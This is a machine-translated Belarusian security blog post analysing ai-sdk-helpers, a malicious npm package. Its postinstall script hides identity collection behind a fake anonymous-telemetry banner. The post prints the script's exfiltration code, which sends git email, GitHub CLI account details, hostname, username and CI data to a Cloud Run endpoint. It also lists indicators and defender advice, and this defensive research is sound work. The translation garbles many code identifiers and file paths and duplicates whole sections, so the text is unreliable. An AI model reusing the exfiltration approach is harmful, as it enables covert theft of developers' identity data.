ConsentMask Пакет npm хавае збор асабістых дадзеных распрацоўшчыка

ConsentMask: npm-пакет, які мае банер згоды тэлеметрыі пры зборы дадзеных распрацоўшчыка

TL, д-р

Адзін npm-пакет, памочнікі ai-sdk, прадстаўляе сябе як набор інструментаў для вытворчасці Vercel AI SDK, прапаноўваючы адсочванне выдаткаў, рэзервовы правайдэр і памочнікі струменевай перадачы.

Яго скрыпт падчас усталёўкі адкрываецца з адшліфаванага банера з апісаннем ананімная дыягностыка, абяцаючы, што ніякі зыходны код, токены або ўліковыя дадзеныя не будуць перададзены, шануючы DO_NOT_TRACK адмова і спасылка на старонку палітыкі тэлеметрыі.

Затым той жа скрыпт зчытвае git-ідэнтыфікатар распрацоўшчыка, канфігурацыю CLI GitHub, імя хаста машыны, імя карыстальніка аперацыйнай сістэмы, рабочы каталог і пастаўшчыка CI.

Гэтыя даныя адпраўляюцца ў фармаце JSON на канчатковую кропку Google Cloud Run, што стварае відавочную неадпаведнасць паміж заяўленай палітыкай тэлеметрыі і фактычна сабранымі палямі.

Пакет быў апублікаваны ў дваццаці дзвюх версіях на працягу аднаго 83-секунднага пакета, і скрыпт усталёўкі ідэнтычны байт у байт ва ўсіх пазначаных версіях.

Сем з васьмі разгледжаных намі версій pipeline былі ацэнены класіфікатарам машыннага навучання як непераканаўчыя, паколькі стыль банера згоды чытаецца як сапраўдная тэлеметрыя.

Мы класіфікуем ai-sdk-helpers як шкоднасныя на падставе збору і выкрадання ідэнтыфікацыйных дадзеных распрацоўшчыка падчас усталёўкі.

Цяжкасць: высокая.

 Анатомія ўстаноўкі

{   "scripts": {     "postinstall": "node scripts/postinstall.js"   } }

пасля ўстаноўкі запускаецца аўтаматычна на ная ўстаноўка, перш чым любы з рэкламуемых кодаў пакета будзе імпартаваны. Скрыпт скрыпты/postinstall.js тут захоўваюцца ўсе дзеянні падчас усталёўкі.

Ён пачынаецца з блока каментарыяў і паведамлення аб выкананні, запісанага ў рэестры праекта з адкрытым зыходным кодам, які клапоціцца пра прыватнасць:

>Калі вы ўсталёўваеце ai-sdk-helpers, мы праводзім хуткую праверку сумяшчальнасці з асяроддзем і паведамляем пра ананімную дыягностыку... Дадзеныя цалкам ананімныя — мы збіраем інфармацыю пра вашу платформу, версію Node і аднабаковы хэш ідэнтыфікатара вашай машыны. Ніякі зыходны код, токены або ўліковыя дадзеныя ніколі не перадаюцца.

Ён нават падключае працоўны шлюз адмовы, першы выканальны код у файле:

if (   process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" ||   process.env.DO_NOT_TRACK === "1" ) {   process.exit(0); }

спачатку зачыніць гэтую браму — вось што робіць астатняе ўспрымацца як кансенсуснае: распрацоўшчык, які ўстанаўлівае `D_НЕ_АДСОЧВАЕЦЦА` дазваляе бясшумна завяршыць усталёўку і завяршае працу пакета ў адпаведнасці з пагадненнем. Паважаная адмова рэальная. Для ўсіх, хто яе не ўстанавіў, яна блакуе калекцыю, апісаную ніжэй, а не больш вузкую «платформу, версію Node і аднабаковы хэш», як называецца ў паведамленні.

Ніжэй за гэтымі варотамі скрыпт збірае карысную нагрузку, якая значна перавышае гэтае апісанне.

  • *Gідэнтычнасць.* rвырашыцьScmІдэнтычнасць()` чытае `~.gitconfig`,`~.config/git/config`,і бягучага праекта `.гэта/канфігурацыя,аналізуе `[сер]` раздзел і вяртае настроены commit электронная пошта. Калі ні адзін файл канфігурацыі не дае адрас электроннай пошты, сістэма вяртаецца да `GЭЛЕКТРОННАЯ ПОШТА Т_АЎТАРЫ_АЎТАРЫ,`GT_COMMITTER_EMAIL`,і `ЕAIL` зменныя асяроддзя. Дакументацыя над функцыяй апісвае чытанне як спосаб «дэдуплікацыі ўсталёвак на машынах, якія належаць адной асобе (напрыклад, ноўтбук + CI)» — заяўленая мэта, якая патрабуе стабільнага ідэнтыфікатара для кожнага распрацоўшчыка, які commit расходныя матэрыялы электроннай пошты.
  • *GУліковы запіс tHub.* rвырашыцьGitHubIdentity()` чытае `~.config/gh/hosts.yml` і `~.config/gh/hosts.yaml` файл канфігурацыі, які запісваецца інтэрфейсам каманднага радка GitHub падчас аўтэнтыфікацыі распрацоўшчыка — і з дапамогай рэгулярных выразаў здабывае `uэ-э:` і `ехвароба:` палі. У гэтым файле таксама захоўваецца токен GitHub OAuth; рэгулярны выраз скрыпта накіраваны менавіта на радкі імя карыстальніка і адраса электроннай пошты і не здабывае токен. Такім чынам, сцвярджэнне банера раскрыцця інфармацыі «ніякія токены… ніколі не перадаюцца» літаральна праўдзівае для гэтага аднаго поля, пакуль зчытваюцца і адпраўляюцца навакольныя ідэнтыфікатары ўліковых запісаў.
  • *Hадбітак пальца st і CI.* Затым сцэнар збірае `o.імя_хаста()`,`o.userInfo().імя_карыстальніка`,версія Node, платформа і архітэктура, `pocess.cwd()`,і метка пастаўшчыка CI, якая вырашаецца праверкай зменных асяроддзя для васьмі пастаўшчыкоў (дзеянні GitHub, GitLab CI, Jenkins, CircleCI, Travis, Buildkite і два сцягі generic-CI). Спіс пастаўшчыкоў чытаецца як пералік месцаў, дзе плануецца выконваць скрыпт — інтэрактыўныя абалонкі і аўтаматызаваная зборка. pipelineпадобныя.

Усе яны згрупаваны ў адну `dагностыкаў аб'ект, з палямі для кожнага распрацоўшчыка, сабранымі ў `iаб'ект ey і дадзеныя хаста пад `rчас і `сntext` eys, затым серыялізуюцца і перадаюцца:

const req = https.request(   {     hostname: "npm-package-logger-228835561205.europe-west1.run.app",     path: "/",     method: "POST",     headers: { "Content-Type": "application/json" },     timeout: 5000,   },   () => {} );  req.on("error", () => {}); req.write(body); req.end();

Адказ адкідаецца, і ўсе памылкі праглынаюцца — у каментарыі адзначаецца, што «тэлеметрыя ніколі не павінна перарываць усталёўку». Імя хаста канцавой кропкі кадуе службу Google Cloud Run у `eвяроўка-захад1` рэгіён.

Прабел — вось у чым справа. У банеры пазначаны тры катэгорыі дадзеных: платформа, версія вузла, хэш ідэнтыфікатара машыны. Карысная нагрузка адпраўляе рэальны git распрацоўшчыка. commit электронная пошта, імя карыстальніка і адрас электроннай пошты GitHub, імя хаста машыны і імя ўліковага запісу аперацыйнай сістэмы, шлях да праекта і асяроддзе неперасягненай інтэграцыі. Палі, якія ідэнтыфікуюць *prson і іх акаўнты* менавіта тыя палі, якія апускаюцца ў раскрыцці інфармацыі.

Файл README падмацоўвае тлумачэнні з іншага боку. У раздзеле «Тэлеметрыя» паўтараецца палажэнне аб ананімнасці і звязваецца слова `D_НЕ_АДСОЧВАЕЦЦА` o `cnsoledonottrack.com,сапраўдная старонка супольнасці, якая дакументуе канвенцыю аб адмове — запазычаючы прызнаную канфідэнцыяльнасць standard каб паведамленне чыталася як звычайная працэдура.

Timeline

Гэта знаходка ў адным пакеце з вельмі кароткай і вельмі шчыльнай гісторыяй публікацый. Няма шматтыднёвай дугі кампаніі, якую можна было б прасачыць — увесь дыяпазон версій быў апублікаваны з хуткасцю машыны.

Калі (UTC) падзея
2026-06-03 20:31:20 Першая версія (0.1.0) апублікавана ў npm.
2026-06-03 20:31:20 – 20:32:43 Усе 22 версіі (0.1.0 праз 1.4.2) апублікаваны ў аўтаматычным выпуску працягласцю 83 секунды.
2026-06-04 Восем версій, пазначаных сігналамі выяўлення; ручны аналіз пацвярджае збор ідэнтыфікацыйных дадзеных падчас усталёўкі і іх выманне. Пакет заставаўся даступным на npm на момант аналізу.

83-секунднае акно паміж 22 семантычнымі версіямі само па сабе з'яўляецца паводніцкім індыкатарам: лесвіца версій (`01.0 м,`01.1 м,… `14.2 м)прадстаўляе паверхню актыўна падтрымліванага праекта з гісторыяй выпускаў, створанай за адзін прагон скрыпта. Скрыпт усталёўкі не змяняецца на працягу гэтага цыклу — гл. ніжэй.

Паказчыкі кампрамісу

Карысная нагрузка часу ўстаноўкі аднолькавая ва ўсім апублікаваным дыяпазоне версій. A `dff` f `sript/postinstall.js` паміж версіямі `02.1` й версіі `14.2` не вяртае ніякіх адрозненняў; паводзіны — гэта адзін фіксаваны адбітак пальца, а не зменлівая карысная нагрузка.

сетка

83-секунднае акно паміж 22 семантычнымі версіямі само па сабе з'яўляецца паводніцкім індыкатарам: лесвіца версій (`01.0 м,`01.1 м,… `14.2 м)прадстаўляе паверхню актыўна падтрымліванага праекта з гісторыяй выпускаў, створанай за адзін прагон скрыпта. Скрыпт усталёўкі не змяняецца на працягу гэтага цыклу — гл. ніжэй.

Паказчыкі кампрамісу

Карысная нагрузка часу ўстаноўкі аднолькавая ва ўсім апублікаваным дыяпазоне версій. A `dff` f `sript/postinstall.js` паміж версіямі `02.1` й версіі `14.2` не вяртае ніякіх адрозненняў; паводзіны — гэта адзін фіксаваны адбітак пальца, а не зменлівая карысная нагрузка.

сетка

індыкатар Роля
npm-package-logger-228835561205.europe-west1.run.app Канчатковая кропка экстрадыцыі, якая атрымлівае запыты HTTPS POST з карыснымі нагрузкамі JSON. Размешчана ў Google Cloud Run у europe-west1 вобласць.

Інфраструктура прынады

індыкатар Роля
ai-sdk.guide Галоўная старонка пакета і сайт, які падтрымлівае ідэнтыфікатар аўтара "AI SDK Guide".
ai-sdk.guide/telemetry URL-адрас палітыкі тэлеметрыі, згаданы ў паведамленні аб раскрыцці інфармацыі падчас усталёўкі.
hello@ai-sdk.guide Электронная пошта аўтара аб'яўлена ў package.json.
github.com/ai-sdk-guide/ai-sdk-helpers Рэпазітар зыходнага кода, аб'яўлены пакетам.

Файлы, якія зчытваюцца падчас усталёўкі

  • -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[сер]` электронная пошта
  • - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` Канал каманднага радка GitHubэ-э `eхворы

Паводніцкія сігнатуры

  • – м `пусталёўка ook выклік убудаванага скрыпта Node
  • – вароты для адмовы (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_НЕ_АДСОЧВАЕЦЦА`)прадстаўлена як функцыя прыватнасці, перад зборам асабістых дадзеных
  • – tbound HTTPS POST аб'екта JSON, які змяшчае электронную пошту git, ідэнтыфікатар GitHub, імя хаста, імя карыстальніка АС, cwd і метку CI
  • – ідэнтычны скрыпт усталёўкі праз хутка публікуемую лесвіцу версій

 Атрыбуцыя і назіраная паводзіны
Мы не прыпісваем нічога, акрамя таго, што запісана ў метададзеных пакета і рэестра.

Ахоўнікам запісу npm з'яўляецца ўліковы запіс `aіельсімон,з адрасам `аiel@vigilance.security`.У рэестры гэты адрас электроннай пошты пазначаны як неправераны, а ідэнтыфікатар сістэмы кантролю версій уліковага запісу — як неправераны. `pckage.json`,асобна прадстаўляе аўтара як «Кіраўніцтва па AI SDK».ello@ai-sdk.guide>`”з хатняй старонкай `a-sdk.guide` і рэпазітар зыходнага кода пад назвай `gАрганізацыя thub.com/ai-sdk-guide. Дамен электроннай пошты акаўнта публікацыі (`vigilance.security`)і ідэнтыфікатар аўтара ў пакеце (`a-sdk.guide`)гэта розныя дамены.

А-sdk.guide` ite жывы і адказвае, а `/электраметрыя ath вырашае — ідэнтычнасць прыманкі падмацоўваецца даступнай прысутнасцю ў сетцы, а не недзеяздольнай спасылкай, што павышае праўдападобнасць фрэймінгу пакета.

**Назіраная магчымасць.** Падчас усталёўкі пакет зчытвае файлы ідэнтыфікацыі распрацоўшчыка і канфігурацыі ўліковага запісу, вызначае адбіткі пальцаў хоста і асяроддзя неперасягненай інтэграцыі і перадае вынік на канчатковую кропку, кіраваную аператарам, адначасова адлюстроўваючы паведамленне, якое апісвае больш вузкі і ананімны набор дадзеных. Мы апісваем гэтую паводзіну; мы не сцвярджаем матывацыю для яе. Чытачы, якія ацэньваюць пакет, у тым ліку любы бок, які распазнае асобу публікатара, павінны ўзважыць назіраную неадпаведнасць паміж заяўленымі і фактычнымі патокамі дадзеных.

Уплыў, тэндэнцыі і рэкамендацыі для абаронцаў

Хто выкрыты. Кожны, хто ўсталёўвае памочнікі ai-sdk — непасрэдна або як транзітыўная залежнасць — запускае калекцыю на гэтай машыне. Паколькі трыгер — пасля ўстаноўкі, рэкламаваны код бібліятэкі ніколі не трэба імпартаваць для патоку дадзеных; дастаткова толькі ўстаноўкі. Найбольш каштоўнымі асяроддзямі з'яўляюцца рабочыя станцыі распрацоўшчыкаў з наладжанай ідэнтыфікацыяй git і аўтэнтыфікаваным інтэрфейсам каманднага радка GitHub, а таксама CI-запускнікі, дзе выяўленне пастаўшчыка CI скрыптом паказвае, што калекцыя павінна выконвацца ўнутры зборкі. pipelineа таксама на ноўтбуках.

Што яно выкрывае. Не сакрэты прыкладанняў у агульным выпадку — карысная нагрузка сканцэнтравана на ідэнтычнасцьраспрацоўшчыка commit электронная пошта, імя і адрас электроннай пошты ўліковага запісу GitHub, назвы кампутара і ўліковых запісаў, а таксама шлях да праекта. Гэта папярэдняяcisкарта таго, хто ўсталяваў пакет, на якой машыне, у якім рэпазітарыі і пад якой сістэмай неперасякальнай зборкі. Для арганізацыі некалькі такіх запісаў разам дазволяць пералічыць, якія інжынеры і якія сістэмы зборкі выклікалі залежнасць — што карысна як папярэднік больш мэтанакіраванай наступнай дзейнасці, нават калі ўласная паводзіны гэтага пакета спыняецца на зборы і перадачы.

Тэндэнцыя: тэлеметрыя як прыкрыццё. Легальныя інструменты для распрацоўшчыкаў збіраюць ананімныя дыягнастычныя дадзеныя ўсталёўкі, а таксама існуюць правілы, якія дазваляюць рабіць гэта паважліва — паведамленне аб раскрыцці інфармацыі, НЕ_АДСОЧВАЦЬ гонар, сцяжок адмовы, URL палітыкі — добра вядомыя. памочнікі ai-sdk дакладна ўзнаўляе ўсе чатыры гэтыя канвенцыі і выкарыстоўвае іх у якасці абалонкі для збору ідэнтыфікацыйных дадзеных. Наяўнасць банера згоды, працоўнай адмовы або спасылкі на палітыку прыватнасці не з'яўляецца доказам таго, што пакет заслугоўвае даверу; гэтыя элементы кіравання нядорага імітаваць. Адзіная надзейная праверка — гэта тое, што код насамрэч чытае і куды ён яго насамрэч адпраўляе.

Гэтая ўпакоўка таксама мае вымерны ўплыў на аўтаматызаваную трыяжную працэдуру. Ва ўсіх версіях нашай pipeline Пасля праверкі каментарыі ўсталявальнага скрыпта на зразумелай мове, структураваныя назвы палёў і звычайны шлюз адмовы былі ацэнены як звычайная тэлеметрыя: сем з васьмі вярнуліся безвыніковы з класіфікатара машыннага навучання, а не зламыснага. Сігнал, які вырашае неадназначнасць, знаходзіцца не ў прозе — ён знаходзіцца ў канкрэтных файлах, якія адкрывае скрыпт (~/.gitconfig, ~/.config/gh/hosts.yml) і месца прызначэння, куды яно адпраўляецца. Рэцэнзент, аўтаматызаваны або чалавечы, які прачытае раскрыццё інфармацыі і спыніцца на гэтым, прыйдзе да няправільнай высновы; рашэнне павінна грунтавацца на фактах патоку дадзеных.

Рэкамендацыі для абаронцаў:

  • Усталёўваць з адключанымі па змаўчанні скрыптамі — npm install –ignore-scriptsабо ўсталяваць ігнараваць-скрыпты=праўда in .npmrc і яўна выконваць правераныя крокі зборкі. Гэта нейтралізуе пасля ўстаноўкі-запушчанае спагнанне па ўсіх напрамках.
  • Не ўспрымайце элементы кіравання адмовай як сігналы даверу. А НЕ_АДСОЧВАЦЬ Праверка або спасылка «палітыка тэлеметрыі» нічога не кажуць пра дадзеныя, якія збірае скрыпт, калі шлюз не настроены.
  • Перад тым, як укараняць дапаможныя пакеты экасістэмы штучнага інтэлекту, прачытайце ўсталёўвальны перахопнік. Прастора Vercel AI SDK — гэта хутка развіваемая мэта з высокім узроўнем даверу; пасля ўстаноўкі што дакранаецца ~/.gitconfig or ~/.config/gh/ з'яўляецца відавочным сігналам незалежна ад таго, як напісаны навакольныя каментарыі.
  • Маніторынг выхаднога паведамлення падчас зборкі. Выходны HTTPS POST падчас ная ўстаноўка, асабліва для нядаўна падрыхтаванай канцавой кропкі воблачнай функцыі, назіраецца на сеткавым узроўні і з'яўляецца надзейнай кропкай выяўлення для асяроддзяў неперасягненай інтэграцыі.
  • Звярніце ўвагу на сціснутыя лесвіцы версій. Пакет, уся семантычная гісторыя версій якога з'яўляецца на працягу некалькіх секунд з нязменным скрыптом усталёўкі, прадстаўляе штучна створаную гісторыю абслугоўвання.
інструменты-для-аналізу-складання-праграмнага ...
Прыярытэзуйце, ліквідуйце і абараняйце свае праграмныя рызыкі
Атрымайце свой бясплатны рахунак.
Не патрабуецца крэдытная карта.

Забяспечце распрацоўку і пастаўку праграмнага забеспячэння

з пакетам прадуктаў Xygeni